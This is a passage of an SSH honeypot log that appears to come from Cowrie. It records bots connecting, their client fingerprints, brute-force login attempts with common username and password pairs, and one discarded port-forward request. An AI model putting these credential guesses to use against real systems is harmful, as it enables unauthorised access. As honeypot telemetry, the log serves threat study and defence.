af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:13.545372Z","src_ip":"124.7.227.98","session":"4b6f538f84d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:14.457078Z","src_ip":"124.7.227.98","session":"4b6f538f84d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:15.676961Z","src_ip":"124.7.227.98","session":"4b6f538f84d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":49766,"dst_ip":"10.17.0.5","dst_port":22,"session":"93d9612a74d3","protocol":"ssh","message":"New connection: 103.4.145.50:49766 (10.17.0.5:22) [session: 93d9612a74d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:49.149475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:49.154099Z","src_ip":"103.4.145.50","session":"93d9612a74d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:49.405235Z","src_ip":"103.4.145.50","session":"93d9612a74d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cacti","message":"login attempt [cactiuser/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:50.442334Z","src_ip":"103.4.145.50","session":"93d9612a74d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:47:51.698265Z","src_ip":"103.4.145.50","session":"93d9612a74d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8984,"dst_ip":"10.17.0.5","dst_port":22,"session":"695b0c3bc93d","protocol":"ssh","message":"New connection: 87.251.64.176:8984 (10.17.0.5:22) [session: 695b0c3bc93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:37.849144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:37.853623Z","src_ip":"87.251.64.176","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:37.950025Z","src_ip":"87.251.64.176","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:38.239072Z","src_ip":"87.251.64.176","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:38.340903Z","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:38.439459Z","src_ip":"87.251.64.176","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:38.538689Z","src_ip":"87.251.64.176","session":"695b0c3bc93d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":35582,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8470e9bec70","protocol":"ssh","message":"New connection: 103.203.57.2:35582 (159.203.135.109:22) [session: c8470e9bec70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:43.312297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:43.317646Z","src_ip":"103.203.57.2","session":"c8470e9bec70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:43.329363Z","src_ip":"103.203.57.2","session":"c8470e9bec70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":38532,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6df92c4840","protocol":"ssh","message":"New connection: 103.4.145.50:38532 (10.17.0.5:22) [session: 3f6df92c4840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:48.423622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:48.428641Z","src_ip":"103.4.145.50","session":"3f6df92c4840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:48.689607Z","src_ip":"103.4.145.50","session":"3f6df92c4840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12341234","message":"login attempt [ubuntu/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:49.758366Z","src_ip":"103.4.145.50","session":"3f6df92c4840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":42871,"dst_ip":"159.203.135.109","dst_port":22,"session":"0083edd04a2f","protocol":"ssh","message":"New connection: 124.7.227.98:42871 (159.203.135.109:22) [session: 0083edd04a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:50.483310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:50.487245Z","src_ip":"124.7.227.98","session":"0083edd04a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:50.705450Z","src_ip":"124.7.227.98","session":"0083edd04a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:51.030340Z","src_ip":"103.4.145.50","session":"3f6df92c4840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv.1234","message":"login attempt [root/Zxcv.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:51.603431Z","src_ip":"124.7.227.98","session":"0083edd04a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:52.823339Z","src_ip":"124.7.227.98","session":"0083edd04a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:48:53.313564Z","src_ip":"103.203.57.2","session":"c8470e9bec70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38611,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2c96106ca5","protocol":"ssh","message":"New connection: 2.57.121.112:38611 (159.203.135.109:22) [session: 9f2c96106ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:09.173059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:09.177591Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:09.277504Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210176","message":"login attempt [admin/210176] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:09.750852Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"201284","message":"login attempt [admin/201284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:10.859665Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20111976","message":"login attempt [admin/20111976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:11.968380Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"201078","message":"login attempt [admin/201078] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:13.072286Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200992","message":"login attempt [admin/200992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:14.175995Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:15.280339Z","src_ip":"2.57.121.112","session":"9f2c96106ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":44232,"dst_ip":"159.203.135.109","dst_port":22,"session":"236a2f4aaa86","protocol":"ssh","message":"New connection: 96.70.252.227:44232 (159.203.135.109:22) [session: 236a2f4aaa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:47.362196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:47.379784Z","src_ip":"96.70.252.227","session":"236a2f4aaa86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:47.406705Z","src_ip":"96.70.252.227","session":"236a2f4aaa86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xtest","password":"123456","message":"login attempt [xtest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:47.577713Z","src_ip":"96.70.252.227","session":"236a2f4aaa86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":55530,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b6c40ae01c","protocol":"ssh","message":"New connection: 103.4.145.50:55530 (10.17.0.5:22) [session: 07b6c40ae01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:48.169587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:48.174031Z","src_ip":"103.4.145.50","session":"07b6c40ae01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha51